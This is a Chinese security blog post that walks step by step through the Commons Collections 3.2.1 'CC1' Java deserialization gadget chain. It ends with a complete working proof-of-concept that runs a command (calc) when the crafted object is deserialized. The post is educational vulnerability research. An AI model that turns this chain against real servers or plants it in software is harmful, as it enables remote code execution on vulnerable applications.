Java反序列化漏洞-CC1利用链分析

2023-12-17

一、前置知识

1. 反射

首先,Java执行系统命令的语句是这样的:

Runtime.getRuntime().exec("calc");

用反射的方法执行 Runtime.getRuntime().exec("calc") 的语句是这样的:

//获取Runtime类对象
Class<?> clazz = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//获取Runtime对象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//获取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射执行exec("calc")
execMethod.invoke(runtime, "calc");

如果上面这些反射代码看不懂,建议补一下反射基础:

黑马Java反射Java安全-反射

2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。 从那时起,它已成为 Java 中公认的集合处理标准。

Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。

像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

3. 环境准备

本文中漏洞复现环境:

  • commons-collections 3.2.1
  • jdk 1.8.0_65

在pom.xml添加commons-collections依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

在项目结构中指定JDK版本

在这里插入图片描述

二、分析利用链

这个链分析顺序是从链的最后部分·,即执行命令的逻辑部分开始分析,一直到反序列化的入口点结束。

1. Transformer

Transformer是一个接口,这个接口声明了一个transform函数

在这里插入图片描述

2. InvokeTransformer

这个类的位置: org.apache.commons.collections.functors.InvokerTransformer

看一下InvokeTransformer的构造方法和tramsform方法,这里吧一些不必要的代码省去了

public class InvokerTransformer implements Transformer, Serializable {
    //构造方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //实现Transformer接口的tramsform方法
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }

构造方法:InvokerTransformer(方法名,形参列表,实参列表)

tramsform方法:

  1. 调用接收到的对象的getClass方法,获取他的类对象
  2. 用getMethod方法获取cls类对象的iMethodName方法
  3. 用invoke方法执行input对象的iMethodName方法,参数是iArgs

也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)

执行命令

用 InvokeTransformer 来弹个计算器试试

package com.zzy.ApacheCC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Blog {
    public static void main(String[] args) {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

上面这段代码相当于执行了这些东西:

Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

如何不直接调用transform方法,让程序自动调用transform方法来命令执行呢?请先看下面这几个类。

3. ConstantTransformer

ConstantTransformer的构造方法把传过来的值赋给iConstant

然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很没意思的一个方法是吧。

关键代码:

public class ConstantTransformer implements Transformer, Serializable {
    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    	return iConstant;
	}
}

然后我们先看下一个类

4. ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer的构造方法接收一个Transformer类型的数组

然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformr的transform方法,

给transform方法一个初始值,然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行

听起来是不是有点绕,在脑子里过几遍,然后再实际调试一下,这样就差不多能看懂了。

执行命令

我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);

由于Runtime类没有实现Serializable接口,无法进行序列化,但是Class类实现了Serializable接口。

所以这里再改进一下代码,用Runtime.class命令执行

ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")

Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);

上面这些代码相当于执行了这些操作:

Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");

成功执行命令

在这里插入图片描述

这里可以自动调用InvokerTransformer的transform了,但是又多出来个ChainedTransformer的transform,现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。

5. TransformedMap

类位置: org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

	public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

	protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
}

静态decorate方法可以调用TransformedMap的构造方法,返回一个TransformedMap实例。

TransformedMap的checkSetValue方法调用了transform方法,valueTransformer的值可以通过构造方法的第三个参数获得。

但是checkSetValue方法修饰符是protected,无法直接调用它,我们接着寻找一个可以调用checkSetValue方法的类。

6. AbstractInputCheckedMapDecorator

它是TransformedMap的父类

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        
	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
	}

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。

7. AnnotationInvocationHandler

这个类的主要作用是为注解处理器提供代理对象,以便在运行时动态地处理注解。

这个类的位置: sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
}

这个类的readObject方法调用了var5的setValue方法,readObject正好是反序列化的入口点,终于快结束了。

var5是怎么来的呢?

AnnotationInvocationHandler构造方法的第三个参数var2赋给了memberValues

在这里插入图片描述

在readObject中最后赋给了var5

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

next方法位置: AbstractInputCheckedMapDecorator.EntrySetIterator#next

在这里 next() 方法用于迭代原始映射中的键值对,并将其转换为 MapEntry 类型。在这个方法中,首先通过调用迭代器的 next() 方法来获取下一个元素,并将其强制转换为 Map.Entry 类型。然后,使用获取到的键值对和父对象作为参数,创建一个新的 MapEntry 对象,并将其作为方法的返回值。

在这里插入图片描述

返回一个MapEntry对象,那个AnnotationInvocationHandler的var5就是MapEntry对象,最后调用了MapEntry的SetValue方法。

执行MapEntry的SetValue方法又会调用checkSetValue方法

在这里插入图片描述

checkSetValue调用ChainedTransformer的transform方法,进而达到命令执行的效果

在这里插入图片描述

到此,利用链构造完毕,我们将编写完整的POC

三、编写POC

1. ChainedTransformer

这一步无需多言,跟在ChainedTransformer那里讲的一样,最后获得一个ChainedTransformer对象

ConstantTransformer ct = new ConstantTransformer(Runtime.class);

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. decorate

新建一个HashMap对象,他的键(Key)的名称为 value ,至于为什么是value在本文章第五节会分析

TransformedMap.decorate返回一个TransformedMap实例,

实例的valueTransformer的值就是chainedTransformer

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

3. AnnotationInvocationHandler

用反射方法新建AnnotationInvocationHandler对象,用构造方法把上一步的TransformedMap实例传进来

构造方法传的参数为什么是 Target.class 在本文章第五节会分析

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);

4. 执行序列化和反序列化操作

反序列化时触发readObject,进而触发setValue,setValue时触发checkSetValue,checkSetValue返回的时候执行transform方法,最终进行命令执行

这里使用自己建立的序列化和反序列化方法,来模拟真实环境的反序列化。

serial(poc);
unserial();

这是序列化和反序列化的方法,不懂的话可以看 菜鸟教程 Java 序列化

public static void serial(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
    out.writeObject(obj);
}

public static void unserial() throws IOException, ClassNotFoundException {
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
    in.readObject();
}

四、完整POC代码

package com.test.ApacheCC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated);
		/*
		AnnotationInvocationHandler
		*/
        
        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
        in.readObject();
    }
}

成功执行命令

在这里插入图片描述

五、为什么是Target.class,为什么是"value"

1. 构造方法中的判断

通过构造方法给AnnotationInvocationHandler的var1赋值为Target.class

然后把var1赋值给了this.type (记住这个变量)

把var2赋值给了this.memberValues

在这里插入图片描述

获取var1所有的接口

Class[] var3 = var1.getInterfaces();

然后if语句里面有三个条件,满足这三个条件才能给 memberValues 赋值,才能在 readObject 时触发利用链

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)
  • var1.isAnnotation() => 检查 var1 是否是一个注解
  • var3.length == 1 => 检查 var1 的接口数量是否为1
  • var3[0] == Annotation.class => 检查这个唯一的接口是否是 Annotation.class

通过调试可以看到,var3[0]即 Target.class.getInterfaces()[0] 的值就是Annotation类对象,即 Annotation.class

在这里插入图片描述

所以构造方法应该传入一个注解类型的类对象。

2. readObject中的判断

var7 != null

AnnotationInvocationHandler的readObject里面有一个判断,var7不为空才继续执行下面的代码

在这里插入图片描述

var7的值

var7怎么来的呢?看代码:

var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

之前分析AnnotationInvocationHandler的时候知道

var5和var6的值

var5的值就是decorate传进来的那个键值对

在这里插入图片描述

var6的值就是var5的key,即 "value"

var7的值通过var3得到

var3的值

var3则是 AnnotationType.getInstance(this.type).memberTypes()

Target.class:

在这里插入图片描述

可以看到Target只有一个名为value的成员类型

var3 包含了 Target 注解中定义的所有成员类型的键值对,通过调试可以看到结构是这样的:

在这里插入图片描述

其中,键是成员名称(String类型),值是成员的类型(Class类型)

回到var7

给var7赋值的代码是

Class var7 = (Class)var3.get(var6);

根据 CC利用链学习 的解释var3 是HashMap类型的,那么执行的就是HashMap的get方法

根据 菜鸟教程 对get方法的解释,get方法就是获取指定key的value

在这里插入图片描述

具体到上面这段代码就是这样

Class var7 = (Class)var3.get("value");

也就是获取到Target.class的value的类型,这里是 ElementType

在这里插入图片描述

回到POC代码
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

如果这里map.put传入的 key ,在Target.class中没有对应的成员名称的话,var3就找不到var6,那么var7就为null,就无法执行下面的setValue了。

六、利用链

这里模仿 ysoserial 描述的利用链写出CC1的TransformedMap利用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            MapEntry.setValue()
                MapEntry.checkSetValue()
                    TransformedMap.transform()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

感谢安全研究员 Innocent… 的指导
参考文章和视频
讯飞星火
java-CC链1分析
白日梦组长 CC1链手写EXP

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Java反序列化漏洞-CC1利用链分析 的相关文章

  • C++中的namespace

    namespace中文意思是命名空间或者叫名字空间 传统的C 只有一个全局的namespace 但是由于现在的程序的规模越来越大 程序的分工越来越细 全局作用域变得越来越拥挤 每个人都可能使用相同的名字来实现不同的库 于是程序员在合并程序的
  • C++ 中的虚函数及虚函数表

    C 中的虚函数及虚函数表 一 虚函数及虚函数表的定义 二 虚函数表指针和虚函数表的创建时机 三 虚函数实现多态的原理 一 虚函数及虚函数表的定义 虚函数 虚函数就是在基类中定义一个未实现的函数名 使用虚函数的核心目的就是通过基类访问派生类定
  • Qt5学习之路(vs2012下创建一个QT应用程序)2013-10-14

    刚开始学习QT在网上找的资料基本都是使用QT Create进行开发的 VS下开发的学习资料感觉很少很难找的到 视频教程也基本没看到过貌似 因为我们研发中心是使用MFC进行开发开发工具是VS2010 使用QT开发的话基本我们不会再使用QT C
  • 多线程系列之——事件内核对象

    所有内核对象里面事件内核对象是最简单的一个 它包括一个使用计数 还有两个布尔值 一个布尔值用来表示事件是手动重置事件还是自动重置事件 另一个布尔值表示当前是否处于触发状态 当一个手动重置事件被触发的时候 所有等待该事件的线程都能变成调度状态
  • std::nth_element bug引起的crash问题

    1 源码 auto less compare const MirroringGroup mg1 const MirroringGroup mg2 gt bool return mg1 usage lt mg2 usage std nth e
  • 编写程序模拟完成动态分区存储管理方式的内存分配和回收。

    usr bin python coding utf 8 class Table object 空闲分区表 0 开始地址 1 长度 freeTable 占用分区表 0 程序名 1 开始地址 2 长度 useTable def init sel
  • c++得到窗口句柄

    include
  • typedef struct 用法详解

    typedef为C语言的关键字 作用是为一种数据类型定义一个新名字 当typedef与结构结合使用时 会有一些比较复杂的情况 而且在C语言和C 里面有略有差别 本文将详细讲解typedef struct的用法 第一篇 typedef str
  • 使用QZXing生成并解析二维码

    QZxing 是对 zxing 的一个封装 用于在 Qt 程序中加入条形码和二维码识别的功能 这里就讲讲如何编译和使用这个库 前几年 QZXing 的代码是放到 sourceforge net 上的 现在迁移到了 github com 所以
  • 经典面试题之new和malloc的区别

    new和malloc的区别是C C 一道经典的面试题 我也遇到过几次 回答的都不是很好 今天特意整理了一下 0 属性 new delete是C 关键字 需要编译器支持 malloc free是库函数 需要头文件支持 1 参数 使用new操作
  • 如何学好C语言的数据结构与算法?

    C语言的数据结构与算法 难就难在链表 学会了链表 可能后面就一点都不难了 书籍推荐 数据结构与算法分析 C语言描述版 要深入学习的话可以选择这本书 因为针对链表的讲解是比较详细的 所以可以很快理解链表 跟着书上一点点实现基本操作 增删改查
  • floor(),ceil()函数

    地板 天花板函数 均包含在math h中 意思分别为 返回不大于形参的最小整数和不小于形参的最大整数 include
  • 【数据结构/C++】树和二叉树_二叉链表

    include
  • C++常见STL容器基本用法

    1 vector include
  • C 语言运算符详解

    C 语言中的运算符 运算符用于对变量和值进行操作 在下面的示例中 我们使用 运算符将两个值相加 int myNum 100 50 虽然 运算符通常用于将两个值相加 就像上面的示例一样 它还可以用于将变量和值相加 或者将变量和另一个变量相加
  • C++ 中 const 和 constexpr 关键字解析:常量、函数和指针

    很多 C 的初学者看到 const 这个关键字的第一反应都是一头雾水 主要是因为 const 可 以出现在很多的位置 以及后面加入的 constexpr 更是常常感到困惑 今天就为大家一一解释出现它们的含义和以及作用 const 关键字 c
  • C++实现函数重载的原理

    一 函数重载的概念 C 中允许存在同名函数 但要求函数参数的类型 个数不同 这些同名函数就称为函数的重载 void func int a int b cout lt lt func int a int b lt lt endl void f
  • 在 OS X 上的 virtualenv 中安装 scrapy 加密时发生错误 [关闭]

    Closed 这个问题需要调试细节 help minimal reproducible example 目前不接受答案 我正在安装 scrapypip in virtualenv on OS X 10 11 当它安装密码学时 它说 buil
  • 在 Solaris 上,使用 gcc 编译的库与使用 cc 生成的库的使用方式是否相同?

    我目前正在尝试编译 libxml2在 Solaris 上 当我运行源代码提供的 configure 脚本时 会自动使用 gcc 和 g 编译器 但是 我想使用 cc 和 CC 编译器 所以我跑 configure CC cc CXX CC
  • C中的内存使用问题

    请帮忙 操作系统 Linux 其中 sleep 1000 中 此时 top 显示Linux任务 给我写了7 7 MEM使用 valgrind 未发现内存泄漏 我明白 写得正确 所有 malloc 结果都是 NULL 但是为什么这次 睡眠 我

随机推荐

  • 机器学习 高维数据可视化:t-SNE 降维算法

    作者简介 人工智能专业本科在读 喜欢计算机与编程 写博客记录自己的学习历程 个人主页 小嗷犬的个人主页 个人网站 小嗷犬的技术小站 个人信条 为天地立心 为生民立命 为往圣继绝学 为万世开太平 本文目录 t SNE 简介 sklearn 中
  • 【ortools源码系列11】 time_limit h头文件功能和源码分析

    ortools源码系列 time limit h头文件功能和源码分析 文章目录 ortools源码系列 time limit h头文件功能和源码分析 TimeLimit 功能 TimeLimit 源码 SharedTimeLimit 功能
  • [Verilog] Verilog 基本格式和语法

    主页 元存储博客 全文 3000 字 文章目录 1 声明格式 1 1 模块声明 1 2 输入输出声明 1 3 内部信号声明 1 4 内部逻辑声明
  • 3、如何在 Python 中注释代码?

    注释是编程中的重要元素 它们用于解释代码的目的 功能以及实现方式 在Python中 注释是一种文本 用于提高代码的可读性 并帮助其他开发者理解你的代码 在本文中 我将详细解答如何在Python中注释代码 包括单行注释 多行注释 注释的最佳实
  • 1、什么是 Python?

    Python是一门高级编程语言 它是一种通用 解释型 面向对象的语言 以其简洁 清晰的语法和强大的功能而备受程序员欢迎 在学习Python之前 让我们一起来了解一下这门语言的基本特性和应用领域 Python的起源和命名 Python的故事始
  • 基于java的聊天系统(源代码+讲解视频+数据库)

    毕业论文题目 基于Java的聊天系统设计与实现 摘要 本论文主要探讨了基于Java的聊天系统的设计与实现 通过对现有聊天系统的研究 我们提出了一种基于Java的聊天系统架构 该架构包括用户管理 消息传输 消息存储和消息显示等模块 通过使用J
  • 基于java的宿舍管理系统(源代码+讲解视频+数据库)

    摘要 本文设计与实现了一套基于Java的宿舍管理系统 通过研究现有宿舍管理方式存在的问题和需求分析 本文利用Java语言及相关技术 设计了系统的总体架构和功能模块 并实现了系统的关键功能 包括学生管理 宿舍信息管理 报修管理 楼层巡查管理等
  • LeetCode326. Power of Three

    文章目录 一 题目 二 题解 一 题目 Given an integer n return true if it is a power of three Otherwise return false An integer n is a po
  • 某60内网渗透之frp实战指南2

    内网渗透 文章目录 内网渗透 frp实战指南2 实验目的 实验环境 实验工具 实验原理 实验内容 frp实战指南2 实验步骤 1 确定基本信息 2 查看frp工
  • 【Git】解决fatal: unable to access..Failure when receiving data from the peer或者OpenSSL SSL_read: Connect

    今天拉取仓库的代码时 报错如下 fatal unable to access https github com Itfuture zifeiYu ZifeiChat git Failure when receiving data from
  • 叫好又叫座!谋定论道·经信研究:船舶屡获韩国船东新船订单

    叫好又叫座 谋定论道 经信研究 船舶屡获韩国船东新船订单 新闻中国采编网 中国新闻采编网 中国企业家手机报 谋定研究中国智库网 国研智库 国情讲坛 商协社团 谋定论道 经信研究 哲商对话 万赢信采编 近日 中国船舶集团有限公司旗下中船黄埔文
  • 2、Python 的特点是什么?

    Python是一门备受欢迎的编程语言 其特点之一是在设计和发展过程中充分考虑了开发者的便利性和代码的可读性 下面将详细介绍Python的主要特点 帮助初学者更好地了解这门语言 1 简洁而清晰的语法 Python以其简洁而清晰的语法而著称 相
  • 【华为数据之道学习笔记】5-5结构化数据入湖

    结构化数据是指由二维表结构来逻辑表达和实现的数据 严格遵循数据格式与长度规范 主要通过关系型数据库进行存储和管理 触发结构化数据入湖的场景有两种 第一 企业数据管理组织基于业务需求主动规划和统筹 第二 响应数据消费方的需求 结构化数据入湖过
  • 【Unity】如何让Unity程序一打开就运行命令行命令

    背景 Unity程序有时依赖于某些服务去实现一些功能 此时可能需要类似打开程序就自动运行Windows命令行命令的功能 方法 using UnityEngine using System Diagnostics using System T
  • 第二百零九回

    文章目录 1 概念介绍 2 使用方法 2 1 NumberPicker 2 2 CupertinoPicker 3 示例代码 4 内容总结 我们在上一章回中介绍了 如何在任意位置显示PopupMenu 相关的内容 本章回中将介绍如何实现Nu
  • 【打造优质CSDN热榜评论区】让AI给评论打分!

    大家好啊 我是豆小匠 1 专栏背景 作为CSDN的老用户 自从CSDN强调要打造优质评论区后 热榜的评论区仍旧有进步空间 因此在这个专栏会结合AI 探索一些方法来提高评论区的质量 这个专栏仅为博主的想法 作为技术学习使用 与官方无关联 2
  • 数据结构 数组与字符串

    介绍 数组的基础 定义和声明 基本定义 在C语言中 数组可以被定义为一系列相同类型的元素的集合 每个元素在内存中连续排列 可以通过索引 通常是从0开始的整数 来访问 数组的声明 数组在C语言中的声明包括元素类型 数组名和大小 例如 声明一个
  • 用 registry 搭建 docker 本地镜像仓库实战记录

    目标 掌握使用 docker commit docker save docker load docker push 等命令 自制本地镜像仓库 local registry 及上传下载镜像 1 使用 docker commit 命令制作 to
  • 【Spring】09 BeanClassLoaderAware 接口

    文章目录 1 简介 2 作用 3 使用 3 1 创建并实现接口 3 2 配置 Bean 信息
  • Java反序列化漏洞-CC1利用链分析

    文章目录 一 前置知识 1 反射 2 Commons Collections是什么 3 环境准备 二 分析利用链 1 Transform